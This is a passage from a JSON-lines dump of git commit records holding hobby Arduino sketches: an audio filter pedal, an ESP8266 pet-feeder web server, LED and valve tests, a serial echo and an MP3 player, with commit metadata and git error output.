0;\nint Tap1ValueOld = 1;\nint Tap2ValueOld = 1;\nint CV1ValueOld = 0;\nint Tap1Timer = 0;\nint Tap2Timer = 0;\nfloat margin = 0.1;\nint modulationMode = 0;\nboolean Tap2Pressed = 0;\nint filterOrder = 24;\nint GraphFreq = 0;\nfloat ffund = 0;\n\n\/\/ Variables \nint ledStateONOFF = LOW; \/\/ the current state of the output pin\nint buttonState0; \/\/ the current reading from the input pin\nint lastButtonState0 = LOW; \/\/ the previous reading from the input pin\nint ledStateBOOST = LOW; \/\/ the current state of the output pin\nint buttonState1; \/\/ the current reading from the input pin\nint lastButtonState1 = LOW; \/\/ the previous reading from the input pin\n\nunsigned long lastDebounceTime0 = 0; \/\/ the last time the output pin was toggled\nunsigned long lastDebounceTime1 = 0; \/\/ the last time the output pin was toggled\nunsigned long debounceDelay = 50; \/\/ the debounce time; increase if the output flickers\n\nfloat peak = 0.0;\nfloat peak_2 = 0.0;\nfloat peak_3 =0.0;\nint spanfreq = 500;\nint offsetfreq = 201;\nint movingfreq = 500;\nint octave = 7;\nfloat level = 0.85;\nfloat modFreq = 3;\nfloat modFreqOld = 3;\nfloat InLevel = 0;\n\nconst int myInput = AUDIO_INPUT_LINEIN;\n\nfloat mapfloat(float x, float in_min, float in_max, float out_min, float out_max)\n{\n return (x - in_min) * (out_max - out_min) \/ (in_max - in_min) + out_min;\n}\nBounce OnOff = Bounce(Tap1, 30 ); \nBounce BoostOnOff = Bounce(Tap2, 30); \n\nvoid setup() {\n AudioMemory(100);\n InLevel = float(EEPROM.read(0)\/255.0);\n dc2.amplitude(1, 20);\n sgtl5000_1.enable(); \/\/ Enable the audio shield\n sgtl5000_1.inputSelect(myInput);\n sgtl5000_1.volume(0.8);\n sgtl5000_1.lineInLevel(5); \/\/ 1,33Vp-p\n sgtl5000_1.lineOutLevel(13); \/\/ 3.16Vp-p\n fft1024_1.windowFunction(AudioWindowHanning1024);\n \n pinMode(ledPin1, OUTPUT);\n pinMode(ledPin2, OUTPUT);\n pinMode(ledPin3, OUTPUT);\n pinMode(Tap1, INPUT);\n pinMode(Tap2, INPUT);\n mixer3.gain(0, 1);\n mixer3.gain(1, 0);\n mixer4.gain(0, 0);\n mixer4.gain(1, 0);\n mixer4.gain(3, 1.65); \n mixer1.gain(0, 1); \/\/24order filter\n mixer1.gain(1, 1);\n mixer1.gain(2, 1);\n mixer1.gain(3, 0);\n mixer2.gain(0, 1); \/\/12 order filter\n mixer2.gain(1, 1);\n mixer2.gain(2, 1);\n mixer2.gain(3, 0);\n sgtl5000_1.dacVolume (level);\n sgtl5000_1.autoVolumeControl(2,0,0,0.7,50,100); \/\/maxGain,response,hard limit,threshold,attack, decay\n sgtl5000_1.autoVolumeEnable();\n Serial.begin(115200);\n display.begin(SSD1306_SWITCHCAPVCC, 0x3C); \/\/ initialize with the I2C addr 0x3C (for the 128x64)\n display.clearDisplay();\n delay(100);\n}\n\n\/\/Main loop\nvoid loop() {\n OnOff.update(); \/\/update the bounce\n BoostOnOff.update();\n\n \/\/ read the value from the sensor:\n Pot1Value = analogRead(Pot1); \/\/Sense\n Pot2Value = analogRead(Pot2); \/\/Resonance\n Pot3Value = analogRead(Pot3); \/\/Freq\n Pot4Value = analogRead(Pot4); \/\/Mode\n Tap1Value = digitalRead(Tap1); \/\/On off\n Tap2Value = digitalRead(Tap2); \/\/Mode\/Tap\n SW1Value = analogRead(SW1); \/\/Filter char\n SW2Value = analogRead(SW2); \/\/Direction\n CV1Value = analogRead(CV1); \/\/CV input\n CV2Value = analogRead(CV2); \/\/EXP input\n \n Pot1Value = mapfloat(Pot1Value, 0, 1023, 1, 0); \/\/Sense\n Pot2Value = mapfloat(Pot2Value, 0, 1023, 2, 0.7); \/\/Resonance\n GraphFreq = map(Pot3Value, 0, 1023, 90, 30); \/\/Moving point of Graph\n Pot3Value = map(Pot3Value, 0, 1023, 1500, 150); \/\/Freq\n Pot4Value = mapfloat(Pot4Value, 0, 1023, 10.0, 0.1); \/\/ModFreq\n SW1Value = map(SW1Value, 0, 1023, 5, 0); \/\/Filter char\n SW1Value = constrain(SW1Value, 1, 5);\n SW2Value = map(SW2Value, 0, 1023, 5, 0); \/\/Direction\n SW2Value = constrain(SW2Value, 1, 5);\n CV1Value = map(CV1Value, 0, 1023, 10, 1); \/\/Octave CVinput \n CV2Value = map(CV2Value, 0, 1023, 1500, 150); \/\/Freq expression pedal \n\n buttonState0 = OnOff.read();\n if (lastButtonState0 != buttonState0){ \n \/\/ only toggle the state if the new button state is HIGH\n if (buttonState0 == LOW) {\n ledStateONOFF = !ledStateONOFF;\n }\n }\n buttonState1 = BoostOnOff.read();\n if (lastButtonState1 != buttonState1){ \n \/\/ only toggle the state if the new button state is HIGH\n if (buttonState1 == LOW) {\n ledStateBOOST = !ledStateBOOST;\n }\n } \n \n \/\/ set the outputs:\n digitalWrite(ledPin1, ledStateONOFF); \n lastButtonState0 = buttonState0; \/\/save readings to next round\n lastButtonState1 = buttonState1; \n\n \/\/Sets the sense multiplication factor\n if (SW2Value == 3)dc1.amplitude(Pot1Value);\n else if (SW2Value == 5)dc1.amplitude(-Pot1Value);\n \n \/\/read the signal input peak\n if (peak1.available()) peak = peak1.read();\n if (peak2.available()) peak_2 = peak2.read(); \/\/Output peak\n if (peak3.available()) peak_3 = peak3.read();\n \n if (modulationMode == 0){\n analogWrite(ledPin2, peak_2*400); \/\/yellow LED\n if (Pot4Value <= 5)filterOrder = 12;\n else filterOrder = 24;\n }\n else analogWrite(ledPin2, (peak_3)*100); \/\/modulation active\n\n if (CV1Value <1) octave = 6; \/\/Check if CVinput is active\n else octave = CV1Value; \n \n if (CV2Value <100) spanfreq = Pot3Value; \/\/Check if exp pedal is active\n else spanfreq = CV2Value;\n \n if (SW2Value == 3) movingfreq = peak*2 * spanfreq + spanfreq ;\n if (SW2Value == 5) movingfreq = -peak *2* spanfreq + spanfreq ;\n if (SW2Value == 1) movingfreq = spanfreq; \/\/not moving filter\n\n filter1.frequency(movingfreq);\n filter1.resonance(Pot2Value);\n filter1.octaveControl(octave);\n filter2.frequency(movingfreq);\n filter2.resonance(Pot2Value);\n filter2.octaveControl(octave);\n filter3.frequency(movingfreq);\n filter3.resonance(Pot2Value);\n filter3.octaveControl(octave);\n filter4.frequency(movingfreq);\n filter4.resonance(Pot2Value);\n filter4.octaveControl(octave);\n\n waveform1.frequency(Pot4Value);\n\nif (!Tap2Value && (Tap2Value == Tap2ValueOld) && modulationMode == 0 && Tap2Pressed == 0){ \/\/turn on modulation\n Serial.print(\"TIME0\\n\");\n Tap2Timer++;\n if (Tap2Timer > 15){\n mixer3.gain(0,0);\n mixer3.gain(1,1);\n modulationMode = 1; \n analogWrite(ledPin2,255);\n digitalWrite(ledPin3,HIGH);\n Tap2Pressed = 1;\n }\n}\nelse if (!Tap2Value && (Tap2Value == Tap2ValueOld) && modulationMode == 1 && Tap2Pressed == 0){ \/\/turn off modulation\n Serial.print(\"TIME1\\n\");\n Tap2Timer++;\n if (Tap2Timer > 15){\n mixer3.gain(0,1);\n mixer3.gain(1,0);\n modulationMode = 0;\n analogWrite(ledPin2,255);\n digitalWrite(ledPin3,LOW);\n Tap2Pressed = 1;\n }\n}\nelse if (Tap2Value){\n Tap2Timer = 0;\n Tap2Pressed = 0;\n }\n\n\/\/BYPASS MODE \n if (ledStateONOFF == 0){\n mixer4.gain(0, 0);\n mixer4.gain(1, 0);\n mixer4.gain(2, 0);\n mixer4.gain(3, 1.65);\n } \n else { \n mixer4.gain(3, 0); \/\/Always turn off bypass signal\n if (SW1Value == 3) { \/\/HP\n if (filterOrder == 12) { \/\/ 12db\/dec\n mixer4.gain(0, 1.3);\n mixer4.gain(1, 0);\n mixer2.gain(0, 0);\n mixer2.gain(1, 0); \n mixer2.gain(2, 1); \n }\n else if (filterOrder == 24) { \/\/24db\/dec\n mixer4.gain(0, 0);\n mixer4.gain(1, 1.3);\n mixer1.gain(0, 0);\n mixer1.gain(1, 0); \n mixer1.gain(2, 1); \n } \n }\n else if (SW1Value == 1) { \/\/BP \n if (filterOrder == 12) { \/\/ 12db\/dec\n mixer4.gain(0, 1.3);\n mixer4.gain(1, 0);\n mixer2.gain(0, 0);\n mixer2.gain(1, 1); \n mixer2.gain(2, 0); \n }\n else if (filterOrder == 24) { \/\/24db\/dec\n mixer4.gain(0, 0);\n mixer4.gain(1, 1.3);\n mixer1.gain(0, 0);\n mixer1.gain(1, 1); \n mixer1.gain(2, 0); \n } \n }\n else if (SW1Value == 5) { \/\/LowPass\n if (filterOrder == 12) { \/\/ 12db\/dec\n mixer4.gain(0, 1.3);\n mixer4.gain(1, 0);\n mixer2.gain(0, 1);\n mixer2.gain(1, 0); \n mixer2.gain(2, 0); \n }\n else if (filterOrder == 24) { \/\/24db\/dec\n mixer4.gain(0, 0);\n mixer4.gain(1, 1.3);\n mixer1.gain(0, 1);\n mixer1.gain(1, 0); \n mixer1.gain(2, 0); \n } \n }\n } \ndisplay.clearDisplay();\nif (!Tap1Value && (Tap1Value == Tap1ValueOld)){ \/\/When Mode\/tap is held down you can adjust the input gain of the input\n Serial.print(\"TIME\");\n Tap1Timer++;\n if (Tap1Timer > 15){\n InLevel = analogRead(Pot1);\n InLevel = mapfloat(InLevel,0,1023,1,0.2);\n dc2.amplitude(InLevel,10);\n delay(50);\n EEPROM.write(0, InLevel*255);\n analogWrite(ledPin2, 255); \n \/\/display.clearDisplay(); \n display.setTextSize(1);\n display.setTextColor(WHITE);\n display.setCursor(5, 10);\n display.print(\"Input:\");\n display.print(InLevel); \n display.display();\n }\n}\nelse if (Tap1Value){\n Tap1Timer = 0;\n\/\/ peak = peak1.read(); \/\/read the signal output peak\n if (peak == -1)(peak = 0);\n analogWrite(ledPin2, peak*100);\n}\nif(fft1024_1.available()){ \/\/Display FFT on screen\n \/\/ display.clearDisplay();\n for (int i=0; i<42; i++) {\n float fft = fft1024_1.read(i)*512;\n \/\/Serial.print(fft);\n \/\/Serial.print(\",\");\n display.drawLine(i*3, 64, i*3, 64-fft, WHITE);\n display.drawLine(i*3+1, 64, i*3+1, 64-fft, WHITE);\n display.drawLine(i*3+2, 64, i*3+2, 64-fft, WHITE);\n }\n} \n\/\/ display.clearDisplay();\n GraphFreq = movingfreq\/15;\n if(SW1Value ==5){ \/\/LP\n display.drawLine(0, 32, GraphFreq-5, 32, WHITE);\n display.drawLine(GraphFreq-5, 32, GraphFreq, 35-Pot2Value*4, WHITE);\n display.drawLine(GraphFreq, 35-Pot2Value*4, GraphFreq+5, 32, WHITE);\n display.drawLine(GraphFreq+5, 32, GraphFreq+(48-filterOrder), 64, WHITE);\n } \n else if(SW1Value == 3){ \/\/HP\n display.drawLine(128, 32, GraphFreq+5, 32, WHITE);\n display.drawLine(GraphFreq+5, 32, GraphFreq, 35-Pot2Value*4, WHITE);\n display.drawLine(GraphFreq, 35-Pot2Value*4, GraphFreq-5, 32, WHITE);\n display.drawLine(GraphFreq-5, 32, GraphFreq-(48-filterOrder), 64, WHITE);\n } \n else { \/\/BP\n display.drawLine(GraphFreq-(48-filterOrder), 64, GraphFreq-5, 32, WHITE);\n display.drawLine(GraphFreq+5, 32, GraphFreq, 35-Pot2Value*4, WHITE);\n display.drawLine(GraphFreq, 35-Pot2Value*4, GraphFreq-5, 32, WHITE);\n display.drawLine(GraphFreq+5, 32, GraphFreq+(48-filterOrder), 64, WHITE);\n } \n display.setTextSize(1);\n display.setTextColor(WHITE);\n display.setCursor(80, 10);\n display.print(\"fc:\");\n display.print(movingfreq); \n display.display();\n\n Serial.print(\" InLevel: \");\n Serial.print(InLevel);\n Serial.print(\" Filterorder: \");\n Serial.println(filterOrder); \n\n Pot1ValueOld = Pot1Value;\n Pot2ValueOld = Pot2Value; \n Pot3ValueOld = Pot3Value;\n Pot4ValueOld = Pot4Value; \n SW1ValueOld = SW1Value;\n SW2ValueOld = SW2Value;\n Tap1ValueOld = Tap1Value;\n Tap2ValueOld = Tap2Value; \n CV1ValueOld = CV1Value;\n}\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'FunkyFellow1_1.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"278eee1b70ffef6673796e4e83e101f896044263","subject":"\ucf54\ub4dc \uc5c5\ub85c\ub4dc(\uac1c\ubc1c \ubc84\uc804)","message":"\ucf54\ub4dc \uc5c5\ub85c\ub4dc(\uac1c\ubc1c \ubc84\uc804)\n","repos":"SkyLightQP\/RemotePetFood","old_file":"RemotePat.ino","new_file":"RemotePat.ino","new_contents":"#include <ESP8266WiFi.h>\n#include <WiFiClient.h>\n#include <ESP8266WebServer.h>\n#include <ESP8266mDNS.h>\n#include <Servo.h> \n \nServo myservo; \nServo myservo2; \nESP8266WebServer server(80);\nString url = \"https:\/\/raw.githubusercontent.com\/SkyLightQP\/RemotePetFood\/master\/index.html\";\n\nvoid setup() {\n \/\/ put your setup code here, to run once:\n Serial.begin(115200);\n myservo.attach(4); \/\/ D2\n myservo2.attach(5); \/\/ D1\n \/\/ \uc5f0\uacb0 \uc644\ub8cc \uae4c\uc9c0 \ub300\uae30\n while (WiFi.status() != WL_CONNECTED) {\n delay(500);\n Serial.print(\".\");\n }\n Serial.println(\"\");\n Serial.print(\"Connected to \");\n Serial.println(WiFi.SSID());\n Serial.print(\"IP address: \");\n Serial.println(WiFi.localIP());\n\n if (MDNS.begin(\"esp8266\")) {\n Serial.println(\"MDNS responder started\");\n }\n\n \/\/\uc811\uc18d\ubcc4 \ub3d9\uc791 \uc124\uc815 \n server.on(\"\/\", [](){\n sendHtml(url);\n });\n server.on(\"\/open1\", [](){\n myservo.write(140); \n sendHtml(url);\n });\n server.on(\"\/close1\", [](){\n myservo.write(90); \n sendHtml(url);\n });\n server.on(\"\/auto1\", [](){\n myservo.write(140); \n delay(600);\n myservo.write(90); \n sendHtml(url);\n });\n server.on(\"\/open2\", [](){\n myservo2.write(140); \n sendHtml(url);\n });\n server.on(\"\/close2\", [](){\n myservo2.write(90); \n sendHtml(url);\n });\n server.on(\"\/auto2\", [](){\n myservo2.write(140); \n delay(600);\n myservo2.write(90); \n sendHtml(url);\n });\n \/\/\uc11c\ubc84 \uc0ac\uc6a9\uc744 \uc2dc\uc791\ud569\ub2c8\ub2e4.\n server.begin();\n Serial.println(\"HTTP server started\");\n}\n\nvoid loop(void){\n server.handleClient();\/\/\ud074\ub77c\uc774\uc5b8\ud2b8 \uc811\uc18d\uc744 \uad00\ub9ac\ud569\ub2c8\ub2e4.\n}\n\nvoid sendHtml(String url){\n String html = \"\";\n html += \"<html><script src=\\\"http:\/\/www.w3schools.com\/lib\/w3data.js\\\"><\/script>\";\n html += \"<body><div w3-include-html=\\\"\" + url + \"\\\"><\/div>\";\n html += \"<script>w3IncludeHTML();<\/script><\/body><\/html>\";\n server.send(200, \"text\/html\", html);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'RemotePat.ino' did not match any file(s) known to git\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"69cde7a8d4354d544ad3a87faa489fbe7df4f881","subject":"housekeeping","message":"housekeeping\n","repos":"aaronroth\/Robolette,aaronroth\/Robolette,aaronroth\/Robolette","old_file":"Robolette.ino","new_file":"Robolette.ino","new_contents":"\/*\n Control for the Arduino Uno BarBot.\n \n Created by Aaron Roth on 5\/6\/2012.\n*\/\n\nconst int rightValve = 8;\nconst int leftValve = 11;\n\nvoid setup() {\n pinMode(8, OUTPUT);\n pinMode(11, OUTPUT);\n}\n\nvoid loop() {\n digitalWrite(rightValve, HIGH);\n digitalWrite(leftValve, HIGH);\n delay(1000);\n digitalWrite(rightValve, LOW);\n digitalWrite(leftValve, LOW);\n delay(1000);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Robolette.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"66122428da38d9b5699e923303ad35cb169d2b91","subject":"removed arduboy.setFrameRate(60)","message":"removed arduboy.setFrameRate(60)","repos":"TEAMarg\/SiNe-DeMo,TEAMarg\/SiNe-DeMo","old_file":"Sine-DeMo.ino","new_file":"Sine-DeMo.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/TEAMarg\/SiNe-DeMo.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"21e2dcdc577323e0c29d97a95ed343430e3feb9b","subject":"Created the Basic_Test example.","message":"Created the Basic_Test example.\n","repos":"kbob\/UniWS","old_file":"examples\/Basic_Test\/Basic_Test.ino","new_file":"examples\/Basic_Test\/Basic_Test.ino","new_contents":"#include <UniWS.h>\n\n#define NUM_LEDS 19\n\nUniWS strip(NUM_LEDS);\n\nvoid setup()\n{\n strip.begin();\n strip.show(); \/\/ turn LEDs off\n}\n\nvoid loop()\n{\n uint8_t wait = 50;\n uint8_t high = 255;\n colorWipe(strip.color(high, 0, 0), wait); \/\/ Red\n colorWipe(strip.color(0, 0, 0), wait); \/\/ Black\n colorWipe(strip.color(0, high, 0), wait); \/\/ Green\n colorWipe(strip.color(0, 0, 0), wait); \/\/ Black\n colorWipe(strip.color(0, 0, high), wait); \/\/ Blue\n colorWipe(strip.color(0, 0, 0), wait); \/\/ Black\n delay(500);\n};\n\n\/\/ Fill the dots one after the other with a color\nvoid colorWipe(uint32_t c, uint16_t wait)\n{\n for (uint16_t i = 0; i < strip.numPixels(); i++) {\n strip.setPixel(i, c);\n strip.show();\n delay(wait);\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/Basic_Test\/Basic_Test.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"60f17d847f3f0d2949f57e0c6c712ed4ee5b234b","subject":"main file :cat:","message":"main file :cat:\n","repos":"Michael1516\/dorm-leds,Michael1516\/dorm-leds,MikaylaFischler\/dorm-leds,MikaylaFischler\/dorm-leds","old_file":"dorm-leds.ino","new_file":"dorm-leds.ino","new_contents":"\/*\n Dorm LED Project: main.ino\n\n Created by: Michael Fischler\n 9\/20\/2016 @ WPI\n *\/\n\n\n\/\/ the setup function runs once when you press reset or power the board\nvoid setup() {\n \n}\n\n\/\/ the loop function runs over and over again forever\nvoid loop() {\n \n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'dorm-leds.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"0325b69cc70e22105961c1ff68686024a9ec737b","subject":"Adds an echo example","message":"Adds an echo example\n","repos":"james147\/ShrimpingItExamples,james147\/ShrimpingItExamples","old_file":"Echo\/Echo.ino","new_file":"Echo\/Echo.ino","new_contents":"\/*\n * Echos messages after converting them to upper case;\n * \n * Suggestions:\n * - Blink the led on different messages\n *\/\n\nconst int led = 13; \/\/ The pin the led is connected to\nconst int length = 256; \/\/ The length of the buffer\nchar buffer[length]; \/\/ Character buffer (holds 256 characters)\n\nvoid setup() {\n pinMode(led, OUTPUT); \/\/ Sets the led pin to be an output pin\n Serial.begin(9600); \/\/ Initialize the serial interface\n}\n\nvoid loop() {\n if (Serial.available()) {\n for(int i = 0; i < length; i++) {\n buffer[i] = 0;\n }\n Serial.readBytesUntil('\\r', buffer, length); \/\/ Read bytes into buffer until a \\r is found or a timeout occures\n String message = String(buffer); \/\/ Convert the buffer to an instance of a String\n message.toUpperCase(); \/\/ Convert the message to upper case\n Serial.println(message); \/\/ Print the contents of the buffer\n }\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Echo\/Echo.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"8d6555bf17b2a0c07671b6cefff7f02260ab8b7f","subject":"play music","message":"play music\n","repos":"tingyez\/JunkDJ,tingyez\/JunkDJ","old_file":"MP3\/MP3.ino","new_file":"MP3\/MP3.ino","new_contents":"\/**\n * \\file FilePlayer.ino\n *\n * \\brief Example sketch of using the MP3Shield Arduino driver, with flexible list of files and formats\n * \\remarks comments are implemented with Doxygen Markdown format\n *\n * \\author Bill Porter\n * \\author Michael P. Flaga\n *\n * This sketch listens for commands from a serial terminal (such as the Serial\n * Monitor in the Arduino IDE). Listening for either a single character menu\n * commands or an numeric strings of an index. Pointing to a music file, found\n * in the root of the SdCard, to be played. A list of index's and corresponding\n * files in the root can be listed out using the 'l' (little L) command.\n *\n * This sketch allows the various file formats to be played: mp3, aac, wma, wav,\n * fla & mid.\n *\n * This sketch behaves nearly identical to MP3Shield_Library_Demo.ino, but has\n * extra complicated loop() as to recieve string of characters to create the\n * file index. As the Serial Monitor is typically default with no CR or LF, this\n * sketch uses intercharacter time out as to determine when a full string has\n * has been entered to be processed.\n *\/\n\n#include <SPI.h>\n\n\/\/Add the SdFat Libraries\n#include <SdFat.h>\n#include <SdFatUtil.h>\n\n\/\/and the MP3 Shield Library\n#include <SFEMP3Shield.h>\n\n\/\/ Below is not needed if interrupt driven. Safe to remove if not using.\n#if defined(USE_MP3_REFILL_MEANS) && USE_MP3_REFILL_MEANS == USE_MP3_Timer1\n #include <TimerOne.h>\n#elif defined(USE_MP3_REFILL_MEANS) && USE_MP3_REFILL_MEANS == USE_MP3_SimpleTimer\n #include <SimpleTimer.h>\n#endif\n\n\/**\n * \\brief Object instancing the SdFat library.\n *\n * principal object for handling all SdCard functions.\n *\/\nSdFat sd;\n\n\/**\n * \\brief Object instancing the SFEMP3Shield library.\n *\n * principal object for handling all the attributes, members and functions for the library.\n *\/\nSFEMP3Shield MP3player;\nint16_t last_ms_char; \/\/ milliseconds of last recieved character from Serial port.\nint8_t buffer_pos; \/\/ next position to recieve character from Serial port.\n\n\/\/------------------------------------------------------------------------------\n\/**\n * \\brief Setup the Arduino Chip's feature for our use.\n *\n * After Arduino's kernel has booted initialize basic features for this\n * application, such as Serial port and MP3player objects with .begin.\n * Along with displaying the Help Menu.\n *\n * \\note returned Error codes are typically passed up from MP3player.\n * Whicn in turns creates and initializes the SdCard objects.\n *\n * \\see\n * \\ref Error_Codes\n *\/\n char buffer[6]; \/\/ 0-35K+null\n\n\n\/\/ constants\n\nint dialHasFinishedRotatingAfterMs = 100;\nint debounceDelay = 10;\nint needToPrint = 0;\nint count;\nint in = 2;\nint lastState = LOW;\nint trueState = LOW;\nlong lastStateChangeTime = 0;\nint cleared = 0;\n\nvoid setup() {\n\n uint8_t result; \/\/result code from some function as to be tested at later time.\n\n Serial.begin(9600);\n Serial.println(\"Welcome to JunkDJ!\");\n Serial.println(\"Please dail the phone to select the track\");\n\n \/\/Serial.print(F(\"F_CPU = \"));\n \/\/Serial.println(F_CPU);\n \/\/Serial.print(F(\"Free RAM = \")); \/\/ available in Version 1.0 F() bases the string to into Flash, to use less SRAM.\n \/\/Serial.print(FreeRam(), DEC); \/\/ FreeRam() is provided by SdFatUtil.h\n \/\/Serial.println(F(\" Should be a base line of 1017, on ATmega328 when using INTx\"));\n\n\n \/\/Initialize the SdCard.\n if(!sd.begin(SD_SEL, SPI_FULL_SPEED)) sd.initErrorHalt();\n \/\/ depending upon your SdCard environment, SPI_HAVE_SPEED may work better.\n if(!sd.chdir(\"\/\")) sd.errorHalt(\"sd.chdir\");\n\n \/\/Initialize the MP3 Player Shield\n result = MP3player.begin();\n \/\/check result, see readme for error codes.\n if(result != 0) {\n \/\/Serial.print(F(\"Error code: \"));\n \/\/Serial.print(result);\n \/\/Serial.println(F(\" when trying to start MP3 player\"));\n if( result == 6 ) {\n \/\/Serial.println(F(\"Warning: patch file not found, skipping.\")); \/\/ can be removed for space, if needed.\n \/\/Serial.println(F(\"Use the \\\"d\\\" command to verify SdCard can be read\")); \/\/ can be removed for space, if needed.\n }\n }\n\n#if (0)\n \/\/ Typically not used by most shields, hence commented out.\n \/\/Serial.println(F(\"Applying ADMixer patch.\"));\n if(MP3player.ADMixerLoad(\"admxster.053\") == 0) {\n \/\/Serial.println(F(\"Setting ADMixer Volume.\"));\n MP3player.ADMixerVol(-3);\n }\n#endif\n\n \/\/ help();\n \/\/last_ms_char = millis(); \/\/ stroke the inter character timeout.\n buffer_pos = 0; \/\/ start the command string at zero length.\n \/\/parse_menu('l'); \/\/ display the list of files to play\n\n}\n\n\/\/------------------------------------------------------------------------------\n\/**\n * \\brief Main Loop the Arduino Chip\n *\n * This is called at the end of Arduino kernel's main loop before recycling.\n * And is where the user's serial input of bytes are read and analyzed by\n * parsed_menu.\n *\n * Additionally, if the means of refilling is not interrupt based then the\n * MP3player object is serviced with the availaible function.\n *\n * \\note Actual examples of the libraries public functions are implemented in\n * the parse_menu() function.\n *\/\nvoid loop() {\n\n\/\/ Below is only needed if not interrupt driven. Safe to remove if not using.\n#if defined(USE_MP3_REFILL_MEANS) \\\n && ( (USE_MP3_REFILL_MEANS == USE_MP3_SimpleTimer) \\\n || (USE_MP3_REFILL_MEANS == USE_MP3_Polled) )\n\n MP3player.available();\n#endif\n\n char inByte;\n if (Serial.available() > 0) {\n inByte = Serial.read();\n if ((0x20 <= inByte) && (inByte <= 0x126)) { \/\/ strip off non-ASCII, such as CR or LF\n if (isDigit(inByte)) { \/\/ macro for ((inByte >= '0') && (inByte <= '9'))\n \/\/ else if it is a number, add it to the string\n buffer[buffer_pos++] = inByte;\n } else {\n \/\/ input char is a letter command\n buffer_pos = 0;\n parse_menu(inByte);\n }\n buffer[buffer_pos] = 0; \/\/ update end of line\n last_ms_char = millis(); \/\/ stroke the inter character timeout.\n }\n } else if ((millis() - last_ms_char) > 500 && ( buffer_pos > 0 )) {\n \/\/ ICT expired and have something\n if (buffer_pos == 1) {\n \/\/ look for single byte (non-number) menu commands\n parse_menu(buffer[buffer_pos - 1]);\n\n } else if (buffer_pos > 5) {\n \/\/ dump if entered command is greater then uint16_t\n Serial.println(F(\"Ignored, Number is Too Big!\"));\n\n } else {\n \/\/ otherwise its a number, scan through files looking for matching index.\n int16_t fn_index = atoi(buffer);\n SdFile file;\n char filename[13];\n sd.chdir(\"\/\",true);\n uint16_t count = 1;\n while (file.openNext(sd.vwd(),O_READ))\n {\n file.getFilename(filename);\n if ( isFnMusic(filename) ) {\n\n if (count == fn_index) {\n Serial.print(F(\"Index \"));\n SerialPrintPaddedNumber(count, 5 );\n Serial.print(F(\": \"));\n Serial.println(filename);\n Serial.print(F(\"Playing filename: \"));\n Serial.println(filename);\n int8_t result = MP3player.playMP3(filename);\n \/\/check result, see readme for error codes.\n if(result != 0) {\n Serial.print(F(\"Error code: \"));\n Serial.print(result);\n Serial.println(F(\" when trying to play track\"));\n }\n char title[30]; \/\/ buffer to contain the extract the Title from the current filehandles\n char artist[30]; \/\/ buffer to contain the extract the artist name from the current filehandles\n char album[30]; \/\/ buffer to contain the extract the album name from the current filehandles\n MP3player.trackTitle((char*)&title);\n MP3player.trackArtist((char*)&artist);\n MP3player.trackAlbum((char*)&album);\n\n \/\/print out the arrays of track information\n Serial.write((byte*)&title, 30);\n Serial.println();\n Serial.print(F(\"by: \"));\n Serial.write((byte*)&artist, 30);\n Serial.println();\n Serial.print(F(\"Album: \"));\n Serial.write((byte*)&album, 30);\n Serial.println();\n break;\n }\n count++;\n }\n file.close();\n }\n\n }\n\n \/\/reset buffer to start over\n buffer_pos = 0;\n buffer[buffer_pos] = 0; \/\/ delimit\n }\n\n delay(100);\n}\n\nuint32_t millis_prv;\n\n\/\/------------------------------------------------------------------------------\n\/**\n * \\brief Decode the Menu.\n *\n * Parses through the characters of the users input, executing corresponding\n * MP3player library functions and features then displaying a brief menu and\n * prompting for next input command.\n *\/\nvoid parse_menu(byte key_command) {\n\n uint8_t result; \/\/ result code from some function as to be tested at later time.\n\n \/\/ Note these buffer may be desired to exist globably.\n \/\/ but do take much space if only needed temporarily, hence they are here.\n char title[30]; \/\/ buffer to contain the extract the Title from the current filehandles\n char artist[30]; \/\/ buffer to contain the extract the artist name from the current filehandles\n char album[30]; \/\/ buffer to contain the extract the album name from the current filehandles\n\n Serial.print(F(\"Received command: \"));\n Serial.write(key_command);\n Serial.println(F(\" \"));\n\n \/\/if s, stop the current track\n if(key_command == 's') {\n Serial.println(F(\"Stopping\"));\n MP3player.stopTrack();\n\n \/\/if 1-9, play corresponding track\n } else if(key_command >= '1' && key_command <= '9') {\n \/\/convert ascii numbers to real numbers\n key_command = key_command - 48;\n\n#if USE_MULTIPLE_CARDS\n sd.chvol(); \/\/ assign desired sdcard's volume.\n#endif\n \/\/tell the MP3 Shield to play a track\n result = MP3player.playTrack(key_command); \/\/control play track\n\n \/\/check result, see readme for error codes.\n if(result != 0) {\n Serial.print(F(\"Error code: \"));\n Serial.print(result);\n Serial.println(F(\" when trying to play track\"));\n } else {\n\n Serial.println(F(\"Playing:\"));\n\n \/\/we can get track info by using the following functions and arguments\n \/\/the functions will extract the requested information, and put it in the array we pass in\n MP3player.trackTitle((char*)&title);\n MP3player.trackArtist((char*)&artist);\n MP3player.trackAlbum((char*)&album);\n\n \/\/print out the arrays of track information\n Serial.write((byte*)&title, 30);\n Serial.println();\n Serial.print(F(\"by: \"));\n Serial.write((byte*)&artist, 30);\n Serial.println();\n Serial.print(F(\"Album: \"));\n Serial.write((byte*)&album, 30);\n Serial.println();\n }\n\n \/\/if +\/- to change volume\n } else if((key_command == '-') || (key_command == '+')) {\n union twobyte mp3_vol; \/\/ create key_command existing variable that can be both word and double byte of left and right.\n mp3_vol.word = MP3player.getVolume(); \/\/ returns a double uint8_t of Left and Right packed into int16_t\n\n if(key_command == '-') { \/\/ note dB is negative\n \/\/ assume equal balance and use byte[1] for math\n if(mp3_vol.byte[1] >= 254) { \/\/ range check\n mp3_vol.byte[1] = 254;\n } else {\n mp3_vol.byte[1] 